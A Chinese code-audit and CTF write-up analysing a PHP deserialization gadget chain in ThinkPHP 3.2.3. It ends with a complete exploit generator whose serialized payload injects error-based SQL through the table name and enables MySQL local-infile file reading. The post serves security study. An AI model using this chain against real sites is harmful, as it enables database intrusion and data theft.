[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析

2024-01-19 14:58

本文主要是介绍[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • Thinkphp3.2.3反序列化利用链分析
    • 分析
    • 利用链

菜鸡在做CTF的时候想深入分析一下,也就产生了这篇文章

Thinkphp3.2.3反序列化利用链分析

分析

首先我们从__destruct方法入手

其他的都是啥如ftp_close之类的没法有效利用,但是在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php找到

public function __destruct() {empty($this->img) || $this->img->destroy();}

并且参数可控,搜索destroy方法,也是基本上没啥其他点直接只有一个在ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

中,找到了

public function destroy($sessID) {return $this->handle->delete($this->sessionName.$sessID);}

这里其实版本利用有限制,在在PHP7下起的ThinkPHP框架在调用有参函数时不传参数会触发框架里的错误处理,从而报错,网上看到的当时排bug排了很久都没发现,最后切换php5,$this->handle也可控

继续全局搜索后发现在ThinkPHP/Mode/Lite/Model.class.php

public function delete($options=array()) {$pk   =  $this->getPk();if(empty($options) && empty($this->options['where'])) {// 如果删除条件为空 则删除当前数据对象所对应的记录if(!empty($this->data) && isset($this->data[$pk]))return $this->delete($this->data[$pk]);elsereturn false;}if(is_numeric($options)  || is_string($options)) {// 根据主键删除记录if(strpos($options,',')) {$where[$pk]     =  array('IN', $options);}else{$where[$pk]     =  $options;}$options            =  array();$options['where']   =  $where;}// 根据复合主键删除记录if (is_array($options) && (count($options) > 0) && is_array($pk)) {$count = 0;foreach (array_keys($options) as $key) {if (is_int($key)) $count++; } if ($count == count($pk)) {$i = 0;foreach ($pk as $field) {$where[$field] = $options[$i];unset($options[$i++]);}$options['where']  =  $where;} else {return false;}}// 分析表达式$options =  $this->_parseOptions($options);if(empty($options['where'])){// 如果条件为空 不进行删除操作 除非设置 1=1return false;}        if(is_array($options['where']) && isset($options['where'][$pk])){$pkValue            =  $options['where'][$pk];}if(false === $this->_before_delete($options)) {return false;}        $result  =    $this->db->delete($options);if(false !== $result && is_numeric($result)) {$data = array();if(isset($pkValue)) $data[$pk]   =  $pkValue;$this->_after_delete($data,$options);}// 返回删除记录个数return $result;}

代码看多了一看就懂了,首先getPk获取主键,之后我们的利用是想进入if中执行delete方法,

if(empty($options) && empty($this->options['where'])) {// 如果删除条件为空 则删除当前数据对象所对应的记录if(!empty($this->data) && isset($this->data[$pk]))return $this->delete($this->data[$pk]);elsereturn false;}

根据调试,这里会去调用到数据库驱动类中的delete()中去,而不是当前文件当中的delete()方法,即ThinkPHP/Library/Think/Db/Driver.class.php

public function delete($options=array()) {$this->model  =   $options['model'];$this->parseBind(!empty($options['bind'])?$options['bind']:array());$table  =   $this->parseTable($options['table']);$sql    =   'DELETE FROM '.$table;if(strpos($table,',')){// 多表删除支持USING和JOIN操作if(!empty($options['using'])){$sql .= ' USING '.$this->parseTable($options['using']).' ';}$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');}$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');if(!strpos($table,',')){// 单表删除支持order和limit$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'').$this->parseLimit(!empty($options['limit'])?$options['limit']:'');}$sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);}

我们可以发现在这里的table没有过滤直接拼接了,不信的话我们可以分析分析,首先调用parseTable

    protected function parseTable($tables) {if(is_array($tables)) {// 支持别名定义$array   =  array();foreach ($tables as $table=>$alias){if(!is_numeric($table))$array[] =  $this->parseKey($table).' '.$this->parseKey($alias);else$array[] =  $this->parseKey($alias);}$tables  =  $array;}elseif(is_string($tables)){$tables  =  explode(',',$tables);array_walk($tables, array(&$this, 'parseKey'));}return implode(',',$tables);}

他会对其中的数据执行parseKey方法,这个方法直接返回数据无其他处理

protected function parseKey(&$key) {return $key;
}

因此便得到了完整的pop链思路,接下来就是构造

首先是__destruct,我们需要调用Memcachedestroy方法

class Imagick{private $img;public function __construct(){$this->img = new Memcache();}}

接下来$this->handle指向Model类去调用delete方法,并精心构造我们的sql语句

class Model{protected $options   = array();protected $pk;protected $data = array();protected $db = null;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "username where 1=updatexml(1,user(),1)#","where" => "1=1");}}

注意我们需要去初始化数据库的连接,这里我们使用默认的在Think\Db\Driver\Mysq下的Mysql,发现继承了Driver类,

跟进一看,能得到这里建立了PDO配置建立数据库连接

因此我们只需要在Mysql下配置好数据库配置即可

class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件);protected $config = array("debug"    => 1,"database" => "test","hostname" => "127.0.0.1","hostport" => "3306","charset"  => "utf8","username" => "testtest","password" => "testtest");}

最终我们得到了完整的利用链

利用链

<?php
namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件);protected $config = array("debug"    => 1,"database" => "thinkphp3","hostname" => "127.0.0.1","hostport" => "3306","charset"  => "utf8","username" => "root","password" => "");}
}namespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img;public function __construct(){$this->img = new Memcache();}}
}namespace Think\Session\Driver{use Think\Model;class Memcache{protected $handle;public function __construct(){$this->handle = new Model();}}
}namespace Think{use Think\Db\Driver\Mysql;class Model{protected $options   = array();protected $pk;protected $data = array();protected $db = null;public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "mysql.user where 1=updatexml(1,user(),1)#","where" => "1=1");}}
}namespace {echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

这篇关于[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/622787

相关文章

java之Objects.nonNull用法代码解读

《java之Objects.nonNull用法代码解读》:本文主要介绍java之Objects.nonNull用法代码,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录Java之Objects.nonwww.chinasem.cnNull用法代码Objects.nonN

SpringBoot实现MD5加盐算法的示例代码

《SpringBoot实现MD5加盐算法的示例代码》加盐算法是一种用于增强密码安全性的技术,本文主要介绍了SpringBoot实现MD5加盐算法的示例代码,文中通过示例代码介绍的非常详细,对大家的学习... 目录一、什么是加盐算法二、如何实现加盐算法2.1 加盐算法代码实现2.2 注册页面中进行密码加盐2.

python+opencv处理颜色之将目标颜色转换实例代码

《python+opencv处理颜色之将目标颜色转换实例代码》OpenCV是一个的跨平台计算机视觉库,可以运行在Linux、Windows和MacOS操作系统上,:本文主要介绍python+ope... 目录下面是代码+ 效果 + 解释转HSV: 关于颜色总是要转HSV的掩膜再标注总结 目标:将红色的部分滤

在C#中调用Python代码的两种实现方式

《在C#中调用Python代码的两种实现方式》:本文主要介绍在C#中调用Python代码的两种实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录C#调用python代码的方式1. 使用 Python.NET2. 使用外部进程调用 Python 脚本总结C#调

Java时间轮调度算法的代码实现

《Java时间轮调度算法的代码实现》时间轮是一种高效的定时调度算法,主要用于管理延时任务或周期性任务,它通过一个环形数组(时间轮)和指针来实现,将大量定时任务分摊到固定的时间槽中,极大地降低了时间复杂... 目录1、简述2、时间轮的原理3. 时间轮的实现步骤3.1 定义时间槽3.2 定义时间轮3.3 使用时

Django序列化中SerializerMethodField的使用详解

《Django序列化中SerializerMethodField的使用详解》:本文主要介绍Django序列化中SerializerMethodField的使用,具有很好的参考价值,希望对大家有所帮... 目录SerializerMethodField的基本概念使用SerializerMethodField的

Java中&和&&以及|和||的区别、应用场景和代码示例

《Java中&和&&以及|和||的区别、应用场景和代码示例》:本文主要介绍Java中的逻辑运算符&、&&、|和||的区别,包括它们在布尔和整数类型上的应用,文中通过代码介绍的非常详细,需要的朋友可... 目录前言1. & 和 &&代码示例2. | 和 ||代码示例3. 为什么要使用 & 和 | 而不是总是使

Java强制转化示例代码详解

《Java强制转化示例代码详解》:本文主要介绍Java编程语言中的类型转换,包括基本类型之间的强制类型转换和引用类型的强制类型转换,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录引入基本类型强制转换1.数字之间2.数字字符之间引入引用类型的强制转换总结引入在Java编程语言中,类型转换(无论

Vue 调用摄像头扫描条码功能实现代码

《Vue调用摄像头扫描条码功能实现代码》本文介绍了如何使用Vue.js和jsQR库来实现调用摄像头并扫描条码的功能,通过安装依赖、获取摄像头视频流、解析条码等步骤,实现了从开始扫描到停止扫描的完整流... 目录实现步骤:代码实现1. 安装依赖2. vue 页面代码功能说明注意事项以下是一个基于 Vue.js

Jackson库进行JSON 序列化时遇到了无限递归(Infinite Recursion)的问题及解决方案

《Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursion)的问题及解决方案》使用Jackson库进行JSON序列化时遇到了无限递归(InfiniteRecursi... 目录解决方案‌1. 使用 @jsonIgnore 忽略一个方向的引用2. 使用 @JsonManagedR